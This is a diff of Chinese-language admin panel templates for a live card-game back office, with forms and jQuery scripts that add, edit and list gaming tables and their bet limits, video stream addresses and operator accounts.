<div class='add_submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
$("select#game_id").change(function(){
|
||||
var game_id = $('#game_id').val();
|
||||
$("#mode").val("");
|
||||
$("#min_pair").val('');
|
||||
$("#mxn_pair").val('');
|
||||
$("#min_tie").val('');
|
||||
$("#mxn_tie").val('');
|
||||
if(game_id == 1){
|
||||
$('#control_select').show();
|
||||
$('#is_mode').show();
|
||||
$('#w_pair').show();
|
||||
$('#w_tie').show();
|
||||
$('#total_pair').show();
|
||||
$('#total_tie').hide();
|
||||
$('#rob_time_box').hide();
|
||||
$('#is_rob_box').hide();
|
||||
$('#limit_banker_amount_box').hide();
|
||||
}else if(game_id == 2){
|
||||
$('#control_select').show();
|
||||
$('#is_mode').hide();
|
||||
$('#w_pair').hide();
|
||||
$('#total_pair').hide();
|
||||
$('#rob_time_box').hide();
|
||||
$('#is_rob_box').hide();
|
||||
$('#limit_banker_amount_box').hide();
|
||||
}else if(game_id == 4){
|
||||
$('#control_select').hide();
|
||||
$('#is_mode').hide();
|
||||
$('#w_pair').hide();
|
||||
$('#w_tie').hide();
|
||||
$('#total_pair').hide();
|
||||
$('#total_tie').hide();
|
||||
$('#rob_time_box').show();
|
||||
$('#is_rob_box').show();
|
||||
$('#limit_banker_amount_box').show();
|
||||
}else if(game_id == 5){
|
||||
$('#control_select').hide();
|
||||
$('#is_mode').hide();
|
||||
$('#w_pair').hide();
|
||||
$('#w_tie').hide();
|
||||
$('#total_pair').hide();
|
||||
$('#total_tie').hide();
|
||||
$('#rob_time_box').show();
|
||||
$('#is_rob_box').show();
|
||||
$('#limit_banker_amount_box').show();
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
$('.add_submit').click(function(){
|
||||
var query = new Object();
|
||||
query.table_num = $('#table_num').val();
|
||||
query.table_name = $('#table_name').val();
|
||||
query.game_id = $('#game_id').val();
|
||||
if(query.game_id == 1){
|
||||
query.mode = $('#mode').val();
|
||||
}
|
||||
query.min_bankerplayer = $('#min_bankerplayer').val();
|
||||
query.max_bankerplayer = $('#max_bankerplayer').val();
|
||||
if(query.game_id == 1 || query.game_id == 2){
|
||||
query.min_tie = $('#min_tie').val();
|
||||
query.max_tie = $('#max_tie').val();
|
||||
}
|
||||
if(query.game_id == 1){
|
||||
query.min_pair = $('#min_pair').val();
|
||||
query.max_pair = $('#max_pair').val();
|
||||
}
|
||||
query.wait_time = $('#wait_time').val();
|
||||
query.is_scavenging = $('#scavenging').find("input:checked").attr("value");
|
||||
if(query.game_id == 4 || query.game_id == 5){
|
||||
query.rob_time = $('#rob_time').val();
|
||||
query.is_rob = $('#rob').find("input:checked").attr("value");
|
||||
query.limit_banker_amount = $('#limit_banker_amount').val();
|
||||
}
|
||||
query.remarks = $('#remarks').val();
|
||||
query.username = $('#username').val();
|
||||
query.newPassword = $('#newPassword').val();
|
||||
query.confirmNewPassword = $('#confirmNewPassword').val();
|
||||
query.nickname = $('#nickname').val();
|
||||
query.phone = $('#phone').val();
|
||||
query.bet_type = $('#bet_type').val();
|
||||
query.is_localhost_control = $('#is_localhost_control').val();
|
||||
// 视频地址
|
||||
query.media_far_rtmp = $('#media_far_rtmp').val();
|
||||
query.media_far_flv = $('#media_far_flv').val();
|
||||
query.media_far_ws = $('#media_far_ws').val();
|
||||
query.media_near_rtmp = $('#media_near_rtmp').val();
|
||||
query.media_near_flv = $('#media_near_flv').val();
|
||||
query.media_near_ws = $('#media_near_ws').val();
|
||||
|
||||
query.limit_money_total = $('#limit_money_total').val();
|
||||
query.limit_money_tie_total = $('#limit_money_tie_total').val();
|
||||
query.limit_money_pair_total = $('#limit_money_pair_total').val();
|
||||
query.interval_time = $('#interval_time').val();
|
||||
query.card_first_type = $('#card_first_type').val();
|
||||
query.seat_num = $('#seat_num').val();
|
||||
if(query.table_num == '' || query.table_num == null){
|
||||
layer.alert('请填写桌台号!');
|
||||
return false;
|
||||
}
|
||||
if(parseInt(query.table_num) <= 0){
|
||||
layer.alert('桌台号只能填写大于0的数字!');
|
||||
return false;
|
||||
}
|
||||
if(query.table_name == '' || query.table_name == null){
|
||||
layer.alert('请填写桌台名称!');
|
||||
return false;
|
||||
}
|
||||
if(query.game_id == '' || query.game_id == null){
|
||||
layer.alert('请选择游戏名称!');
|
||||
return false;
|
||||
}
|
||||
if(query.game_id == 1){
|
||||
if(query.mode == '' || query.mode == null){
|
||||
layer.alert('请选择游戏模式!');
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if(query.bet_type <= 0){
|
||||
layer.alert("请选择投注方式");
|
||||
return false;
|
||||
}
|
||||
if((query.min_bankerplayer == '' || query.min_bankerplayer == null)||(query.max_bankerplayer == '' || query.max_bankerplayer == null)){
|
||||
layer.alert('请填写完整网络-庄闲限红!');
|
||||
return false;
|
||||
}
|
||||
if(query.game_id == 1 || query.game_id == 2){
|
||||
if((query.min_tie == '' || query.min_tie == null)||(query.max_tie == '' || query.max_tie == null)){
|
||||
layer.alert('请填写完整网络-和限红!');
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if(query.game_id == 1){
|
||||
if((query.min_pair == '' || query.min_pair == null)||(query.max_pair == '' || query.max_pair == null)){
|
||||
layer.alert('请填写完整网络-对限红!');
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if(query.is_scavenging == '' || query.is_scavenging == null){
|
||||
layer.alert('请选择是否扫牌!');
|
||||
return false;
|
||||
}
|
||||
if(query.game_id == 4 || query.game_id == 5){
|
||||
if(query.is_rob == '' || query.is_rob == null){
|
||||
layer.alert('请选择是否抢庄!');
|
||||
return false;
|
||||
}
|
||||
if(query.is_rob == 1){
|
||||
if(query.limit_banker_amount == '' || query.limit_banker_amount == null){
|
||||
layer.alert('请填写抢庄金额!');
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
if(query.username == '' || query.username == null){
|
||||
layer.alert('请填写账户名!');
|
||||
return false;
|
||||
}
|
||||
if(query.newPassword == '' || query.newPassword == null){
|
||||
layer.alert('请填写密码!');
|
||||
return false;
|
||||
}
|
||||
if(query.newPassword.length < 6 || query.newPassword.length >20){
|
||||
layer.alert('新密码长度必须是6到20个字符!');
|
||||
return false;
|
||||
}
|
||||
if(query.confirmNewPassword == '' || query.confirmNewPassword == null){
|
||||
layer.alert('请再次填写密码!');
|
||||
return false;
|
||||
}
|
||||
if(query.newPassword != query.confirmNewPassword){
|
||||
layer.alert('两次输入的密码不一致!');
|
||||
return false;
|
||||
}
|
||||
if(query.nickname == '' || query.nickname == null){
|
||||
layer.alert('请填写昵称!');
|
||||
return false;
|
||||
}
|
||||
$.ajax({
|
||||
url:"/game/do_add_table",
|
||||
type:"POST",
|
||||
dataType:"JSON",
|
||||
data:query,
|
||||
success:function(data){
|
||||
if(data.status == 1){
|
||||
layer.alert(data.code);
|
||||
}else{
|
||||
layer.alert(data.code,function(){
|
||||
window.location.href='/game/index';
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,391 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .pass_edit{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .pass_edit:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 8px; padding-bottom: 8px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 700px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; }
|
||||
.form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.info_submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
.right_word{font-size: 14px;padding-top: 3px;}
|
||||
.is_check{font-size: 14px;}
|
||||
.is_check input{width: 20px;height: 14px;font-size: 14px;}
|
||||
</style>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="/game/index" class="person_info">吧台列表</a>
|
||||
<a href="javascript:;" class="pass_edit">吧台修改</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from" class="form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌台号:</label>
|
||||
<div class="controls">
|
||||
<input id="table_num" name="table_name" type="text" value='{$table_info.table_num}' maxlength="50" minlength="3" class="required" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
<span class="help-inline">
|
||||
<font color="red">(只能填数字)</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌台名称:</label>
|
||||
<div class="controls">
|
||||
<input id="table_name" name="table_name" type="text" value='{$table_info.table_name}' maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">排序:</label>
|
||||
<div class="controls">
|
||||
<input id="sort" name="sort" type="text" value='{$table_info.sort}' maxlength="9" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 数值越大,排在前面</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="control-group">
|
||||
<label class="control-label">投注方式:</label>
|
||||
<div class="controls">
|
||||
<select name="bet_type" id="bet_type" maxlength="50" minlength="3" style="width:310px;height:25px;">
|
||||
<option value="0">--请选择投注方式--</option>
|
||||
<option value="1" <?php if($table_info['bet_type'] == 1) echo 'selected="selected"';?> >网络投注</option>
|
||||
<option value="2" <?php if($table_info['bet_type'] == 2) echo 'selected="selected"';?> >电话投注</option>
|
||||
<!--
|
||||
<option value="3" <?php if($table_info['bet_type'] == 3) echo 'selected="selected"';?> >所有投注</option>
|
||||
-->
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">座位数:</label>
|
||||
<div class="controls">
|
||||
<select name="seat_num" id="seat_num" maxlength="50" minlength="3" style="width:310px;height:25px;">
|
||||
<option value="0">--请选择座位数--</option>
|
||||
<option value="1" <?php if($table_info['seat_num'] == 1) echo 'selected="selected"';?> >1</option>
|
||||
<option value="2" <?php if($table_info['seat_num'] == 2) echo 'selected="selected"';?> >2</option>
|
||||
<option value="3" <?php if($table_info['seat_num'] == 3) echo 'selected="selected"';?> >3</option>
|
||||
<option value="4" <?php if($table_info['seat_num'] == 4) echo 'selected="selected"';?> >4</option>
|
||||
<option value="5" <?php if($table_info['seat_num'] == 5) echo 'selected="selected"';?> >5</option>
|
||||
<option value="6" <?php if($table_info['seat_num'] == 6) echo 'selected="selected"';?> >6</option>
|
||||
<option value="7" <?php if($table_info['seat_num'] == 7) echo 'selected="selected"';?> >7</option>
|
||||
<option value="8" <?php if($table_info['seat_num'] == 8) echo 'selected="selected"';?> >8</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">本地识别设备IP:</label>
|
||||
<div class="controls">
|
||||
<input id="media_near_rtmp" name="media_near_rtmp" type="text" value='{$table_info.media_near_rtmp}' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">本地荷官端视频[flv]:</label>
|
||||
<div class="controls">
|
||||
<input id="media_far_rtmp" name="media_far_rtmp" type="text" value='{$table_info.media_far_rtmp}' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">高清[live/hd.flv]:</label>
|
||||
<div class="controls">
|
||||
<input id="media_far_flv" name="media_far_flv" type="text" value='{$table_info.media_far_flv}' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">标清[live/sd.flv]:</label>
|
||||
<div class="controls">
|
||||
<input id="media_far_ws" name="media_far_ws" type="text" value='{$table_info.media_far_ws}' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">线路一:</label>
|
||||
<div class="controls">
|
||||
<input id="media_near_flv" name="media_near_flv" type="text" value='{$table_info.media_near_flv}' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">线路二:</label>
|
||||
<div class="controls">
|
||||
<input id="media_near_ws" name="media_near_ws" type="text" value='{$table_info.media_near_ws}' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空[如无,可填入线路一]</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<!--
|
||||
<div class="control-group" style="display: none;">
|
||||
<label class="control-label">近景视频地址_RTMP[已废]:</label>
|
||||
<div class="controls">
|
||||
<input id="media_near_rtmp" name="media_near_rtmp" type="text" value='{$table_info.media_near_rtmp}' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
-->
|
||||
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌子-庄闲限红:</label>
|
||||
<div class="controls">
|
||||
<input id="min_bankerplayer" name="min_bankerplayer" type="text" value='{$table_info.min_bankerplayer}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
-
|
||||
<input id="max_bankerplayer" name="max_bankerplayer" type="text" value='{$table_info.max_bankerplayer}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
</div>
|
||||
</div>
|
||||
<?php if($table_info['game_id'] == 1 || $table_info['game_id'] == 2) : ?>
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌子-和限红:</label>
|
||||
<div class="controls">
|
||||
<input id="min_tie" name="min_tie" type="text" value='{$table_info.min_tie}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
-
|
||||
<input id="max_tie" name="max_tie" type="text" value='{$table_info.max_tie}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
</div>
|
||||
</div>
|
||||
<?php endif;?>
|
||||
<?php if($table_info['game_id'] == 1) : ?>
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌子-对限红:</label>
|
||||
<div class="controls">
|
||||
<input id="min_pair" name="min_pair" type="text" value='{$table_info.min_pair}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
-
|
||||
<input id="max_pair" name="max_pair" type="text" value='{$table_info.max_pair}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
</div>
|
||||
</div>
|
||||
<?php endif;?>
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌子单口最大庄闲限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_money_total" name="limit_money_total" type="text" value='{$table_info.limit_money_total}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
</div>
|
||||
</div>
|
||||
<?php if($table_info['game_id'] == 1 || $table_info['game_id'] == 2) : ?>
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌子单口最大和限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_money_tie_total" name="limit_money_tie_total" type="text" value='{$table_info.limit_money_tie_total}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
</div>
|
||||
</div>
|
||||
<?php endif;?>
|
||||
<?php if($table_info['game_id'] == 1) : ?>
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌子单口最大对限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_money_pair_total" name="limit_money_pair_total" type="text" value='{$table_info.limit_money_pair_total}' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
</div>
|
||||
</div>
|
||||
<?php endif;?>
|
||||
<div class="control-group">
|
||||
<label class="control-label">下注时间:</label>
|
||||
<div class="controls">
|
||||
<input id="wait_time" name="wait_time" type="text" value='{$table_info.wait_time}' maxlength="50" minlength="3" class="required"、
|
||||
onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">是否扫牌:</label>
|
||||
<div class="controls">
|
||||
<div class="right_word">
|
||||
<div class="is_check" id="scavenging">
|
||||
<input name="scavenging" type="radio" {if $table_info.is_scavenging eq 1} checked{/if} value="1" />是
|
||||
<input name="scavenging" type="radio" {if $table_info.is_scavenging eq 0} checked{/if} value="0" />否
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 修改后必须重启webSocket 手动处理改为自动处理在提交结果后重启 自动处理改为手动处理在结束下注后重启 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls">
|
||||
<input id="username" name="username" type="text" value='{$table_info.username}' maxlength="50" minlength="3" class="required" disabled="disabled">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">新密码:</label>
|
||||
<div class="controls">
|
||||
<input id="newPassword" name="newPassword" type="text" value maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认新密码:</label>
|
||||
<div class="controls">
|
||||
<input id="confirmNewPassword" name="confirmNewPassword" type="text" value maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group" style="display: none;">
|
||||
<label class="control-label">关联手机:</label>
|
||||
<div class="controls">
|
||||
<input id="phone" name="phone" type="text" value='{$table_info.phone}' class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">开牌间隔时间:</label>
|
||||
<div class="controls">
|
||||
<input id="interval_time" name="interval_time" type="text" value='{$table_info.interval_time}' class="required">
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">定位牌模式:</label>
|
||||
<div class="controls">
|
||||
<select name="card_first_type" id="card_first_type" style="width:310px;height:25px;">
|
||||
<option value="0" <?php if($table_info['card_first_type'] == 0) echo 'selected="selected"';?> >扫牌</option>
|
||||
<option value="1" <?php if($table_info['card_first_type'] == 1) echo 'selected="selected"';?> >骰子</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red">*牛牛或者三卡牛牛的定位牌模式,百家乐龙虎不起作用</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='info_submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<input type="hidden" id="table_id" value="{$table_info.id}">
|
||||
</body>
|
||||
<script type="text/javascript">
|
||||
$('.info_submit').click(function(){
|
||||
var query = new Object();
|
||||
query.table_num = $('#table_num').val();
|
||||
query.table_name = $('#table_name').val();
|
||||
query.table_id = $('#table_id').val();
|
||||
query.bet_type = $('#bet_type').val();
|
||||
query.seat_num = $('#seat_num').val();
|
||||
query.min_bankerplayer = $('#min_bankerplayer').val();
|
||||
query.max_bankerplayer = $('#max_bankerplayer').val();
|
||||
query.min_tie = $('#min_tie').val();
|
||||
query.max_tie = $('#max_tie').val();
|
||||
query.min_pair = $('#min_pair').val();
|
||||
query.max_pair = $('#max_pair').val();
|
||||
query.newPassword = $('#newPassword').val();
|
||||
query.confirmNewPassword = $('#confirmNewPassword').val();
|
||||
|
||||
query.wait_time = $('#wait_time').val();
|
||||
query.is_scavenging = $('#scavenging').find("input:checked").attr("value");
|
||||
query.phone = $('#phone').val();
|
||||
game_id = {$table_info.game_id};
|
||||
if(query.table_num == '' || query.table_num == null){
|
||||
layer.alert('请填写桌台号!');
|
||||
return false;
|
||||
}
|
||||
if(parseInt(query.table_num) <= 0){
|
||||
layer.alert('桌台号只能填写大于0的数字!');
|
||||
return false;
|
||||
}
|
||||
if(query.table_name == '' || query.table_name == null){
|
||||
layer.alert('请填写桌台名称!');
|
||||
return false;
|
||||
}
|
||||
if(query.bet_type <= 0){
|
||||
layer.alert('请选择投注方式!');
|
||||
return false;
|
||||
}
|
||||
if((query.min_bankerplayer == '' || query.min_bankerplayer == null)||(query.max_bankerplayer == '' || query.max_bankerplayer == null)){
|
||||
layer.alert('请填写完整网络-庄闲限红!');
|
||||
return false;
|
||||
}
|
||||
if(game_id == 1 || game_id == 2){
|
||||
if((query.min_tie == '' || query.min_tie == null)||(query.max_tie == '' || query.max_tie == null)){
|
||||
layer.alert('请填写完整网络-和限红!');
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if(game_id == 1){
|
||||
if((query.min_pair == '' || query.min_pair == null)||(query.max_pair == '' || query.max_pair == null)){
|
||||
layer.alert('请填写完整网络-对限红!');
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if(query.wait_time == '' || query.wait_time == null){
|
||||
layer.alert('请填写下注时间!');
|
||||
return false;
|
||||
}
|
||||
if(query.newPassword){
|
||||
if(query.newPassword.length < 6 || query.newPassword.length >20){
|
||||
layer.alert('新密码长度必须是6到20个字符!');
|
||||
return false;
|
||||
}
|
||||
if(query.confirmNewPassword == '' || query.confirmNewPassword == null){
|
||||
layer.alert('请再次输入密码!');
|
||||
return false;
|
||||
}
|
||||
if(query.newPassword != query.confirmNewPassword){
|
||||
layer.alert('两次输入的密码不一致!');
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if(query.confirmNewPassword){
|
||||
if(query.newPassword == '' || query.newPassword == null){
|
||||
layer.alert('请填写新密码!');
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// 视频地址
|
||||
query.media_far_rtmp = $('#media_far_rtmp').val();
|
||||
query.media_far_flv = $('#media_far_flv').val();
|
||||
query.media_far_ws = $('#media_far_ws').val();
|
||||
query.media_near_rtmp = $('#media_near_rtmp').val();
|
||||
query.media_near_flv = $('#media_near_flv').val();
|
||||
query.media_near_ws = $('#media_near_ws').val();
|
||||
|
||||
query.limit_money_total = $('#limit_money_total').val();
|
||||
query.limit_money_tie_total = $('#limit_money_tie_total').val();
|
||||
query.limit_money_pair_total = $('#limit_money_pair_total').val();
|
||||
|
||||
query.interval_time = $('#interval_time').val();
|
||||
query.card_first_type = $('#card_first_type').val();
|
||||
|
||||
query.sort = $('#sort').val();
|
||||
$.ajax({
|
||||
url:"/game/do_edit_table_info",
|
||||
type:"POST",
|
||||
dataType:"JSON",
|
||||
data:query,
|
||||
success:function(data){
|
||||
if(data.status == 1 ){
|
||||
layer.alert(data.code);
|
||||
}else{
|
||||
layer.alert(data.code,function(){
|
||||
location.reload();
|
||||
});
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</html>
|
||||
@@ -0,0 +1,83 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<style type="text/css"> textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; } .change_box a{font-size: 14px;padding: 10.5px 10px;} .change_box .table_list{border-right:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative;} .change_box .table_add{color: #3daae9;} .change_box .table_list:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; } .x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; } </style>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="table_list">吧台列表</a>
|
||||
<a href="/game/add_table" class="table_add">吧台添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>网络ID号</th>
|
||||
<th>吧台号</th>
|
||||
<th>吧台名称</th>
|
||||
<th>游戏类型</th>
|
||||
<th>投注方式</th>
|
||||
<th>座位数</th>
|
||||
<th>操作账号</th>
|
||||
<th>开牌等待时间</th>
|
||||
<th>是否扫牌</th>
|
||||
<th>总发牌次数</th>
|
||||
<th>总洗牌次数</th>
|
||||
<th>备注</th>
|
||||
<th>状态</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="table_info" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.table_num}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.game_name}</td>
|
||||
<td>{$vo.bet_type}</td>
|
||||
<td>{$vo.seat_num}</td>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.wait_time}</td>
|
||||
<td>{if $vo.is_scavenging eq 0}否{else}是{/if}</td>
|
||||
<td>{$vo.number_total}</td>
|
||||
<td>{if $vo.boot_total eq ''}0{else}{$vo.boot_total}{/if}</td>
|
||||
<td><?php if($vo['is_localhost_control'] == 1){echo '本地控制';}else{echo '网络控制';} ?></td>
|
||||
<td><?php if($vo['status'] == 1){echo '<span style="color:#139E5B">开启中</span>';}else{echo '<span style="color:#FF3B30">关停中</span>';} ?></td>
|
||||
<td class="td-manage">
|
||||
<a onclick="delete_table({$vo.id});" style="color:#1E90FF; cursor:pointer; text-decoration:underline; margin-right:20px;">停开 / 开台</a>
|
||||
<a href="/game/edit_table_info?table_id={$vo.id}" style="color:#1E90FF; cursor:pointer; text-decoration:underline;">修改</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
function delete_table(table_id){
|
||||
layer.confirm('是否要更改该桌子',{btn: ['确定','取消']}, function(index){
|
||||
var query = new Object();
|
||||
query.table_id = parseInt(table_id);
|
||||
$.ajax({
|
||||
url:"/game/delete_table",
|
||||
type:"POST",
|
||||
dataType:"JSON",
|
||||
data:query,
|
||||
success:function(data){
|
||||
if(data.Success == 1){
|
||||
layer.msg(data.Msg);
|
||||
setTimeout("window.location.reload();", 2000);
|
||||
}else{
|
||||
layer.msg(data.Msg);
|
||||
}
|
||||
}
|
||||
});
|
||||
layer.close(index);
|
||||
});
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,348 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>后台管理中心</title>
|
||||
<meta name="renderer" content="webkit|ie-comp|ie-stand">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<meta name="viewport" content="width=device-width,user-scalable=yes, minimum-scale=0.4, initial-scale=0.8,target-densitydpi=low-dpi" />
|
||||
<meta http-equiv="Cache-Control" content="no-siteapp" />
|
||||
<link rel="stylesheet" href="/static/admin/css/font.css">
|
||||
<link rel="stylesheet" href="/static/admin/css/xadmin.css">
|
||||
<script type="text/javascript" src="/static/admin/js/jquery-3.3.1.min.js"></script>
|
||||
<script src="/static/admin/lib/layui/layui.js" charset="utf-8"></script>
|
||||
<script type="text/javascript" src="/static/admin/js/xadmin.js"></script>
|
||||
|
||||
</head>
|
||||
<style>.layui-nav {padding: 0 10px;}</style>
|
||||
<body>
|
||||
<audio id="tk_notice" src="/static/admin/tk_notice.mp3" preload hidden="true"></audio>
|
||||
<!-- 顶部开始 -->
|
||||
<div class="container">
|
||||
<div class="logo"><a href="./index.html">后台管理中心</a></div>
|
||||
<div class="left_open">
|
||||
<i title="展开左侧栏" class="iconfont"></i>
|
||||
</div>
|
||||
<ul class="layui-nav left" >
|
||||
<li class="layui-nav-item layui-this" id="mypanel"><a href="javascript:;">我的面板</a></li>
|
||||
<li class="layui-nav-item" id="operate"><a href="javascript:;">运营管理</a></li>
|
